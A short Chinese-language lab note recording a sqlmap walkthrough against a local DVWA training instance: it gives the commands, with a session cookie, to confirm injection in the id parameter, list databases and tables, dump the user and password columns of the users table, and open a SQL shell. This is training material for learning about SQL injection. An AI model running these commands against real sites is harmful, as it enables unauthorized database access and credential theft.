记录使用Sqlmap完成自动化sql注入的实验过程,供自己参考
访问SQL注入页面,输入id,查看访问的URL为
http://192.168.9.128/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#
使用Sqlmap进行注入测试,但是该URL必须登陆后才能访问,因此我们需要先拿到可以登录的凭证,有的站点认证信息在headers中携带,sqlmap支持加上--headers=HEADERS参数指定headers。假设我们现在拿到了网站的cookie,使用SQLmap带上cookie对目标进行注入测试。
进行注入测试
sqlmap -u"http://192.168.9.128/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="security=low;PHPSESSID=ou2knu728v58d6a1a1m1gdhj23" --batch
测试发现后台数据库为MySQL数据库,版本大于5.0.12,后续注入可以通过参数 --dbms mysql指定数据库,在测试过程中如果session过期,使用--flush-session(Flush session files for current target)并携带新的cookie访问即可。
通过sqlmap获取数据库列表
sqlmap -u"http://192.168.9.128/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="security=low;PHPSESSID=ukpjh9lapj8tc2enhm941968u6" --batch --dbms mysql --random-agent --dbs
选择一个数据库,获取数据表
sqlmap -u"http://192.168.9.128/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="security=low;PHPSESSID=ou2knu728v58d6a1a1m1gdhj23" --batch --dbms mysql --random-agent -D dvwa --tables
选择一个数据表,获取所有数据表的属性:
sqlmap -u"http://192.168.9.128/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="security=low;PHPSESSID=ou2knu728v58d6a1a1m1gdhj23" --batch --dbms mysql --random-agent -D dvwa -T users --columns
指定数据表的字段,并dump出保存在本地
sqlmap -u"http://192.168.9.128/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="security=low;PHPSESSID=ou2knu728v58d6a1a1m1gdhj23" --batch --dbms mysql --random-agent -D dvwa -T users -C user,password --dump
本地查看数据:
打开sql-shell并执行sql语句:
sqlmap -u"http://192.168.9.128/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="security=low;PHPSESSID=ou2knu728v58d6a1a1m1gdhj23" --batch --dbms mysql --sql-shell